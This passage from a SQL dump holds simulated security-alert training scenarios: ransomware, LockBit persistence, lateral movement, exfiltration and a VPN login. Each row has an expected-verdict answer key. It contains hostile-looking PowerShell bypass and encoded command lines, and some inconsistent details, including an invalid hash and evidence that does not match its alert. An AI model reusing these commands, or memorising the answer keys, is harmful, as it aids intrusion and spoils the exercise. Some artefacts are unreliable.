6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1568, 'Malicious Payload Execution', 'high', 'Endpoint Detection and Response (EDR) Alerts', 'A ransomware payload was executed on a compromised system following a successful phishing attack. Immediate action is required to prevent further damage.', 'Execution', 'T1059', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:00Z\",\"event_id\":\"EDR-Exec-12345\",\"src_ip\":\"192.168.1.10\",\"dst_ip\":\"10.0.0.15\",\"attacker_ip\":\"203.0.113.45\",\"username\":\"jdoe\",\"process_name\":\"ransomware.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"file_path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\ransomware.exe\",\"event_description\":\"Execution of a known ransomware payload detected on endpoint.\",\"os\":\"Windows 10\"}', '2026-03-15 19:15:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"ThreatIntelFeed\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple ransomware campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"File hash corresponds to a known ransomware variant.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"ransomware.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"InternalDatabase\",\"verdict\":\"malicious\",\"details\":\"Filename commonly used in ransomware attacks.\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Compromised user account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1569, 'Establishing Persistence', 'high', 'System Logs', 'LockBit ensures persistence by modifying system configurations and creating backdoors, making it challenging to remove them.', 'Persistence', 'T1547 - Boot or Logon Autostart Execution', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T14:23:45Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.10\",\"user\":\"jdoe\",\"action\":\"Registry Modification\",\"registry_key\":\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\LockBit\",\"file\":\"C:\\\\Windows\\\\System32\\\\lockbit.exe\",\"file_hash\":\"e99a18c428cb38d5f260853678922e03\",\"description\":\"Unauthorized modification of registry to establish persistence.\",\"process_id\":\"1234\"}', '2026-03-15 19:15:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault\",\"verdict\":\"malicious\",\"details\":\"IP associated with known LockBit operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with LockBit ransomware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\LockBit\\\",\\\"file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lockbit.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Unauthorized modification of registry to establish persistence.\\\",\\\"process_id\\\":\\\"1234\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\LockBit\\\",\\\"file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lockbit.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Unauthorized modification of registry to establish persistence.\\\",\\\"process_id\\\":\\\"1234\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\LockBit\\\",\\\"file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lockbit.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Unauthorized modification of registry to establish persistence.\\\",\\\"process_id\\\":\\\"1234\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\LockBit\\\",\\\"file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lockbit.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Unauthorized modification of registry to establish persistence.\\\",\\\"process_id\\\":\\\"1234\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.571Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T14:23:45Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.10\\\",\\\"user\\\":\\\"jdoe\\\",\\\"action\\\":\\\"Registry Modification\\\",\\\"registry_key\\\":\\\"HKLM\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\LockBit\\\",\\\"file\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\lockbit.exe\\\",\\\"file_hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"description\\\":\\\"Unauthorized modification of registry to establish persistence.\\\",\\\"process_id\\\":\\\"1234\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1570, 'Lateral Movement Detected', 'high', 'Network Traffic Analysis', 'LockBit malware is attempting lateral movement within the network by accessing multiple internal systems. Unauthorized access detected from an internal compromised host to another system.', 'Lateral Movement', 'T1570 - Lateral Tool Transfer', 1, 'new', NULL, '{\"timestamp\":\"2023-10-10T14:23:45Z\",\"src_ip\":\"10.0.0.5\",\"dst_ip\":\"192.168.1.20\",\"protocol\":\"SMB\",\"action\":\"Access\",\"username\":\"jdoe\",\"file_accessed\":\"\\\\\\\\192.168.1.20\\\\C$\\\\Windows\\\\System32\\\\cmd.exe\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"external_ip\":\"203.0.113.45\"}', '2026-03-15 19:15:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address used by a potentially compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Targeted internal system.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"User credentials potentially compromised.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware activity.\"}},{\"id\":\"artifact_5\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"external\",\"verdict\":\"malicious\",\"details\":\"External IP associated with known malicious activities.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1571, 'Data Exfiltration in Progress', 'critical', 'Data Loss Prevention (DLP) Systems', 'Sensitive data is being exfiltrated from the internal network to an external IP address associated with known malicious activity. This is a precursor to potential ransomware encryption.', 'Exfiltration', 'T1041 - Exfiltration Over C2 Channel', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T15:48:32Z\",\"event_id\":\"dlp-2030\",\"source_ip\":\"192.168.1.45\",\"destination_ip\":\"45.67.89.123\",\"file_name\":\"confidential_data.zip\",\"file_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user\":\"jdoe\",\"protocol\":\"HTTPS\",\"action\":\"allowed\",\"data_size\":\"2GB\",\"url\":\"https://malicious-site.com/exfil\"}', '2026-03-15 19:15:07', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the compromised host.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"45.67.89.123\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Known IP address associated with LockBit ransomware operations.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"suspicious\",\"details\":\"Sensitive file being exfiltrated.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intel\",\"verdict\":\"malicious\",\"details\":\"Hash of the exfiltrated file matches known malicious patterns.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.578Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:48:32Z\\\",\\\"event_id\\\":\\\"dlp-2030\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"45.67.89.123\\\",\\\"file_name\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"url\\\":\\\"https://malicious-site.com/exfil\\\"}\"},{\"timestamp\":\"2026-03-15T20:57:15.578Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:48:32Z\\\",\\\"event_id\\\":\\\"dlp-2030\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"45.67.89.123\\\",\\\"file_name\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"url\\\":\\\"https://malicious-site.com/exfil\\\"}\"},{\"timestamp\":\"2026-03-15T20:56:15.578Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:48:32Z\\\",\\\"event_id\\\":\\\"dlp-2030\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"45.67.89.123\\\",\\\"file_name\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"url\\\":\\\"https://malicious-site.com/exfil\\\"}\"},{\"timestamp\":\"2026-03-15T20:55:15.578Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:48:32Z\\\",\\\"event_id\\\":\\\"dlp-2030\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"45.67.89.123\\\",\\\"file_name\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"url\\\":\\\"https://malicious-site.com/exfil\\\"}\"},{\"timestamp\":\"2026-03-15T20:54:15.578Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T15:48:32Z\\\",\\\"event_id\\\":\\\"dlp-2030\\\",\\\"source_ip\\\":\\\"192.168.1.45\\\",\\\"destination_ip\\\":\\\"45.67.89.123\\\",\\\"file_name\\\":\\\"confidential_data.zip\\\",\\\"file_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user\\\":\\\"jdoe\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"allowed\\\",\\\"data_size\\\":\\\"2GB\\\",\\\"url\\\":\\\"https://malicious-site.com/exfil\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1572, 'Suspicious VPN Login Attempt', 'high', 'VPN logs', 'An unauthorized login attempt was detected on a Cisco VPN endpoint. The attack was initiated by exploiting known vulnerabilities or using stolen credentials. The attacker IP is flagged as malicious in multiple threat intelligence sources.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:32:45Z\",\"event_id\":\"vpn-1234567\",\"vpn_endpoint\":\"vpn.corpnetwork.com\",\"user\":\"jdoe\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"10.0.0.5\",\"protocol\":\"IPSec\",\"login_status\":\"failed\",\"reason\":\"Invalid credentials\",\"vpn_software_version\":\"Cisco VPN Client 4.9\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"malicious_flag\":true}', '2026-03-15 19:15:32', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple intrusion attempts and malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Directory\",\"verdict\":\"internal\",\"details\":\"Known user within the organization.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known malware targeting Cisco VPN clients.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.581Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"event_id\\\":\\\"vpn-1234567\\\",\\\"vpn_endpoint\\\":\\\"vpn.corpnetwork.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"protocol\\\":\\\"IPSec\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"Invalid credentials\\\",\\\"vpn_software_version\\\":\\\"Cisco VPN Client 4.9\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malicious_flag\\\":true}\"},{\"timestamp\":\"2026-03-15T20:57:15.581Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"event_id\\\":\\\"vpn-1234567\\\",\\\"vpn_endpoint\\\":\\\"vpn.corpnetwork.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"protocol\\\":\\\"IPSec\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"Invalid credentials\\\",\\\"vpn_software_version\\\":\\\"Cisco VPN Client 4.9\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malicious_flag\\\":true}\"},{\"timestamp\":\"2026-03-15T20:56:15.581Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"event_id\\\":\\\"vpn-1234567\\\",\\\"vpn_endpoint\\\":\\\"vpn.corpnetwork.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"protocol\\\":\\\"IPSec\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"Invalid credentials\\\",\\\"vpn_software_version\\\":\\\"Cisco VPN Client 4.9\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malicious_flag\\\":true}\"},{\"timestamp\":\"2026-03-15T20:55:15.581Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"event_id\\\":\\\"vpn-1234567\\\",\\\"vpn_endpoint\\\":\\\"vpn.corpnetwork.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"protocol\\\":\\\"IPSec\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"Invalid credentials\\\",\\\"vpn_software_version\\\":\\\"Cisco VPN Client 4.9\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malicious_flag\\\":true}\"},{\"timestamp\":\"2026-03-15T20:54:15.581Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:32:45Z\\\",\\\"event_id\\\":\\\"vpn-1234567\\\",\\\"vpn_endpoint\\\":\\\"vpn.corpnetwork.com\\\",\\\"user\\\":\\\"jdoe\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"10.0.0.5\\\",\\\"protocol\\\":\\\"IPSec\\\",\\\"login_status\\\":\\\"failed\\\",\\\"reason\\\":\\\"Invalid credentials\\\",\\\"vpn_software_version\\\":\\\"Cisco VPN Client 4.9\\\",\\\"hash\\\":\\\"e99a18c428cb38d5f260853678922e03\\\",\\\"malicious_flag\\\":true}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1573, 'Malicious Payload Execution Detected', 'critical', 'Endpoint detection and response (EDR) alerts', 'Following successful VPN compromise, the attackers execute a sophisticated ransomware payload, initiating their encryption process on the compromised endpoint.', 'Execution', 'T1059.001: Command and Scripting Interpreter: PowerShell', 1, 'new', NULL, '{\"timestamp\":\"2023-10-06T14:22:58Z\",\"event_id\":\"123456789\",\"event_type\":\"execution\",\"host\":{\"hostname\":\"compromised-host\",\"ip\":\"10.0.0.15\"},\"user\":{\"username\":\"jdoe\"},\"process\":{\"name\":\"powershell.exe\",\"command_line\":\"powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\",\"hash\":\"3d2e4f5b6c9e10f11a12b13c14d15e16f17g18h19i1j20k21l2m22n2o23\"},\"network\":{\"source_ip\":\"10.0.0.15\",\"destination_ip\":\"203.0.113.45\",\"destination_port\":443},\"file\":{\"path\":\"C:\\\\Users\\\\jdoe\\\\AppData\\\\Local\\\\Temp\\\\malicious_script.ps1\",\"hash\":\"3d2e4f5b6c9e10f11a12b13c14d15e16f17g18h19i1j20k21l2m22n2o23\"}}', '2026-03-15 19:15:32', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal network IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with ransomware campaigns\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e4f5b6c9e10f11a12b13c14d15e16f17g18h19i1j20k21l2m22n2o23\",\"is_critical\":true,\"osint_result\":{\"source\":\"osint\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known ransomware payload\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"internal\",\"verdict\":\"internal\",\"details\":\"Internal user account\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'advanced', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc 